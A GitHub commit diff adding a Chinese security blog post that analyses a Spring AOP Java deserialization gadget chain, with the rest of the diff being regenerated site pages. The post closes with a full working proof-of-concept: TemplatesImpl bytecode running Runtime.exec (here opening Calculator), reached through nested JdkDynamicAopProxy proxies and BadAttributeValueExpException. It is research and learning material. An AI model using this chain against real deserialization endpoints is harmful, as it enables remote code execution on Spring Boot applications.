Skip to content

Commit 227b3e8

Browse files
GSBPGSBP
authored andcommitted
update
1 parent f6d6193 commit 227b3e8

File tree

24 files changed

+1601
-36
lines changed

24 files changed

+1601
-36
lines changed

.DS_Store

0 Bytes
Binary file not shown.

content/.DS_Store

0 Bytes
Binary file not shown.

content/post/.DS_Store

0 Bytes
Binary file not shown.

content/post/JDK17打Jackson反序列化.md renamed to content/post/JDK17打Jackson+LdapAttruibute反序列化.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
+++
22
date = '2025-01-20T03:02:14+08:00'
33
draft = false
4-
title = 'JDK17打Jackson反序列化'
4+
title = 'JDK17打Jackson+LdapAttruibute反序列化'
55
author='GSBP'
66
categories=["Java安全","WP"]
77

content/post/SpringAOP.md

Lines changed: 280 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,280 @@
1+
+++
2+
date = '2025-01-23T23:33:31+08:00'
3+
draft = false
4+
title = 'SpringAOP链学习'
5+
author='GSBP'
6+
categories=["Java安全"]
7+
8+
+++
9+
10+
## 前言
11+
12+
在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下
13+
14+
## 正文
15+
16+
依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类,可以说是和Jackson一样通杀springboot的链子了
17+
18+
### 流程
19+
20+
调用链如下
21+
22+
```
23+
JdkDynamicAopProxy.invoke()->
24+
ReflectiveMethodInvocation.proceed()->
25+
AspectJAroundAdvice->invoke->
26+
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
27+
method.invoke()
28+
```
29+
30+
执行类是`org.springframework.aop.aspectj.AbstractAspectJAdvice`**invokeAdviceMethodWithGivenArgs**方法
31+
32+
![image-20250123020448769](/Users/gsbp/Library/Application Support/typora-user-images/image-20250123020448769.png)
33+
34+
```
35+
protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
36+
Object[] actualArgs = args;
37+
if (this.aspectJAdviceMethod.getParameterCount() == 0) {
38+
actualArgs = null;
39+
}
40+
41+
try {
42+
ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
43+
return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
44+
} catch (IllegalArgumentException ex) {
45+
throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex);
46+
} catch (InvocationTargetException ex) {
47+
throw ex.getTargetException();
48+
}
49+
}
50+
```
51+
52+
直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大
53+
54+
在他的实现子类,在他的子类基本上invoke(before)方法的都调用了他的`invokeAdviceMethod`方法的,所以我们只需要找到一个方法能够调用invoke(before)即可
55+
56+
![image-20250123021508701](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123021508701.png)
57+
58+
然后下一步找到了`ReflectiveMethodInvocation`类,他的proceed就能够满足我们上面的要求
59+
60+
![image-20250123021705034](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123021705034.png)
61+
62+
接下来在`JdkDynamicAopProxy`的invoke方法将会调用proceed方法
63+
64+
![image-20250123223723213](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123223723213.png)
65+
66+
这里有一点很有趣,就是`ReflectiveMethodInvocation`类是没有实现serializable接口的,所以我们不能将这个类放进我们的writeObject里面,但是在`JdkDynamicAopProxy`直接帮我们new了一个新的出来,也是很巧了
67+
68+
然后流程大致就是这样,接下来我们说一下payload执行中的一些知识点
69+
70+
### 构建payload中所需注意的
71+
72+
触发JdkDynamicAopProxy的invoke方法有很多种操作方式了,从invoke的触发流程来看,下面这俩method是肯定触发不了这条链子的,会提前return导致我们想要执行的代码没执行到
73+
74+
```
75+
hashcode()
76+
equals()
77+
```
78+
79+
所以我们这里使用了平常非常常见的toString入口类
80+
81+
82+
83+
上面流程的图片也看到了,如果要走到proceed方法那里,那首先还得过一下`chain.isEmpty()`这个判断
84+
85+
chain由以下代码产生
86+
87+
```
88+
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
89+
```
90+
91+
```
92+
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Method method, @Nullable Class<?> targetClass) {
93+
MethodCacheKey cacheKey = new MethodCacheKey(method);
94+
List<Object> cached = (List)this.methodCache.get(cacheKey);
95+
if (cached == null) {
96+
cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);
97+
this.methodCache.put(cacheKey, cached);
98+
}
99+
100+
return cached;
101+
}
102+
```
103+
104+
因为`methodCache``transient`修饰,不能在反序列化中被恢复,所以这里的methodCache一开始一定为空,那我们就要看到`getInterceptorsAndDynamicInterceptionAdvice`方法了
105+
106+
`advisorChainFactory`对应的接口实现类只有`DefaultAdvisorChainFactory`,这里只能看看它的
107+
108+
```
109+
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {
110+
AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
111+
Advisor[] advisors = config.getAdvisors();
112+
List<Object> interceptorList = new ArrayList(advisors.length);
113+
Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();
114+
Boolean hasIntroductions = null;
115+
116+
for(Advisor advisor : advisors) {
117+
if (advisor instanceof PointcutAdvisor) {
118+
PointcutAdvisor pointcutAdvisor = (PointcutAdvisor)advisor;
119+
if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
120+
MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
121+
boolean match;
122+
if (mm instanceof IntroductionAwareMethodMatcher) {
123+
if (hasIntroductions == null) {
124+
hasIntroductions = hasMatchingIntroductions(advisors, actualClass);
125+
}
126+
127+
match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions);
128+
} else {
129+
match = mm.matches(method, actualClass);
130+
}
131+
132+
if (match) {
133+
MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
134+
if (mm.isRuntime()) {
135+
for(MethodInterceptor interceptor : interceptors) {
136+
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
137+
}
138+
} else {
139+
interceptorList.addAll(Arrays.asList(interceptors));
140+
}
141+
}
142+
}
143+
} else if (advisor instanceof IntroductionAdvisor) {
144+
IntroductionAdvisor ia = (IntroductionAdvisor)advisor;
145+
if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {
146+
Interceptor[] interceptors = registry.getInterceptors(advisor);
147+
interceptorList.addAll(Arrays.asList(interceptors));
148+
}
149+
} else {
150+
Interceptor[] interceptors = registry.getInterceptors(advisor);
151+
interceptorList.addAll(Arrays.asList(interceptors));
152+
}
153+
}
154+
155+
return interceptorList;
156+
}
157+
```
158+
159+
我们可以发现,不管是那种方式添加进入`interceptorList`的,其所对应的成员往往是从`registry.getInterceptors(advisor);`来的
160+
161+
那这里我们顺藤摸瓜,registry所对应的类是`DefaultAdvisorAdapterRegistry`
162+
163+
![image-20250123225810812](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123225810812.png)
164+
165+
对应的getInterceptors代码如下
166+
167+
![image-20250123225924866](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123225924866.png)
168+
169+
那这里我们只有从第一个判断口进入才能够添加interceptors,不过要求是我们的advisor必须实现了MethodInterceotor接口,简单看了一下继承关系,和文章师傅里得出的结论一样:没有同时实现了该接口的advisor类
170+
171+
面对此种情况,我们使用了动态代理去将`MethodInterceotor`给advisor类代理上,使其实现双接口
172+
173+
这里又用到了一次`JdkDynamicAopProxy`,不过和前面的作用完全不同
174+
175+
176+
177+
然后这里就能够顺利return回我们想要的interceptors,chain也能执行到我们的proceed方法了
178+
179+
最后就是在我们的`org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs`
180+
181+
```
182+
this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
183+
```
184+
185+
这里还要从aspectInstanceFactory中获取到一个方法类的实例,文章中是使用了`SingletonAspectInstanceFactory`这个类
186+
187+
![image-20250123232655590](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123232655590.png)
188+
189+
和CC里的ConstantTransformer很相似
190+
191+
192+
193+
## POC
194+
195+
```
196+
197+
import Utils.Util;
198+
import com.fasterxml.jackson.databind.node.POJONode;
199+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
200+
import javassist.ClassPool;
201+
import javassist.CtClass;
202+
import javassist.CtConstructor;
203+
import org.aopalliance.aop.Advice;
204+
import org.aopalliance.intercept.MethodInterceptor;
205+
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
206+
import org.springframework.aop.aspectj.AspectJAroundAdvice;
207+
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
208+
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
209+
import org.springframework.aop.framework.AdvisedSupport;
210+
import org.springframework.aop.support.DefaultIntroductionAdvisor;
211+
import org.springframework.core.Ordered;
212+
213+
import java.lang.reflect.*;
214+
import java.util.PriorityQueue;
215+
216+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
217+
218+
import javax.management.BadAttributeValueExpException;
219+
import javax.xml.transform.Templates;
220+
221+
public class main {
222+
public static void main(String[] args) throws Exception {
223+
224+
225+
ClassPool pool = ClassPool.getDefault();
226+
CtClass clazz = pool.makeClass("a");
227+
CtClass superClass = pool.get(AbstractTranslet.class.getName());
228+
clazz.setSuperclass(superClass);
229+
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
230+
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
231+
clazz.addConstructor(constructor);
232+
byte[][] bytes = new byte[][]{clazz.toBytecode()};
233+
TemplatesImpl templates = TemplatesImpl.class.newInstance();
234+
Util.setFieldValue(templates, "_bytecodes", bytes);
235+
Util.setFieldValue(templates, "_name", "GSBP");
236+
Util.setFieldValue(templates, "_tfactory", null);
237+
Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法
238+
239+
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
240+
AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory);
241+
Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class);
242+
243+
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
244+
Util.setFieldValue(badAttributeValueExpException, "val", proxy1);
245+
Util.deserialize(Util.serialize(badAttributeValueExpException));
246+
247+
}
248+
public static Object getBProxy(Object obj,Class[] clazzs) throws Exception
249+
{
250+
AdvisedSupport advisedSupport = new AdvisedSupport();
251+
advisedSupport.setTarget(obj);
252+
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
253+
constructor.setAccessible(true);
254+
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
255+
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
256+
return proxy;
257+
}
258+
public static Object getAProxy(Object obj,Class<?> clazz) throws Exception
259+
{
260+
AdvisedSupport advisedSupport = new AdvisedSupport();
261+
advisedSupport.setTarget(obj);
262+
AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
263+
264+
DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor((Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class}));
265+
advisedSupport.addAdvisor(advisor);
266+
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
267+
constructor.setAccessible(true);
268+
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
269+
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
270+
return proxy;
271+
}
272+
273+
}
274+
```
275+
276+
![image-20250123233035882](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123233035882.png)
277+
278+
## 参考文章
279+
280+
https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

public/.DS_Store

0 Bytes
Binary file not shown.

public/categories/index.html

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -149,11 +149,11 @@ <h1>Categories</h1>
149149

150150
<div class="card">
151151

152-
<a href="http://localhost:1313/categories/wp/">
152+
<a href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">
153153
</a>
154154
<div class="card-content has-text-centered">
155155
<div>
156-
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/wp/">WP</a>
156+
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">Java安全</a>
157157

158158
<strong>
159159
<sup style="font-size:16px;">2</sup>
@@ -165,14 +165,14 @@ <h1>Categories</h1>
165165

166166
<div class="card">
167167

168-
<a href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">
168+
<a href="http://localhost:1313/categories/wp/">
169169
</a>
170170
<div class="card-content has-text-centered">
171171
<div>
172-
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">Java安全</a>
172+
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/wp/">WP</a>
173173

174174
<strong>
175-
<sup style="font-size:16px;">1</sup>
175+
<sup style="font-size:16px;">2</sup>
176176
</strong>
177177
</div>
178178
</div>

public/categories/index.xml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,12 @@
66
<description>Recent content in Categories on GSBP&#39;s Blog</description>
77
<generator>Hugo</generator>
88
<language>en-us</language>
9-
<lastBuildDate>Mon, 20 Jan 2025 03:02:14 +0800</lastBuildDate>
9+
<lastBuildDate>Thu, 23 Jan 2025 23:33:31 +0800</lastBuildDate>
1010
<atom:link href="http://localhost:1313/categories/index.xml" rel="self" type="application/rss+xml" />
1111
<item>
1212
<title>Java安全</title>
1313
<link>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</link>
14-
<pubDate>Mon, 20 Jan 2025 03:02:14 +0800</pubDate>
14+
<pubDate>Thu, 23 Jan 2025 23:33:31 +0800</pubDate>
1515
<guid>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</guid>
1616
<description></description>
1717
</item>

public/categories/java安全/index.html

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -146,7 +146,17 @@ <h2 class="archive-title">Category: Java安全</h2>
146146

147147

148148
<article class="archive-item">
149-
<a href="http://localhost:1313/post/jdk17%E6%89%93jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/" class="archive-item-link hover-underline-animation">JDK17打Jackson反序列化</a>
149+
<a href="http://localhost:1313/post/springaop/" class="archive-item-link hover-underline-animation">SpringAOP链学习</a>
150+
<span class="archive-item-date">
151+
January 23, 2025
152+
</span>
153+
154+
</article>
155+
156+
157+
158+
<article class="archive-item">
159+
<a href="http://localhost:1313/post/jdk17%E6%89%93jackson&#43;ldapattruibute%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/" class="archive-item-link hover-underline-animation">JDK17打Jackson&#43;LdapAttruibute反序列化</a>
150160
<span class="archive-item-date">
151161
January 20, 2025
152162
</span>

0 commit comments

Comments
 (0)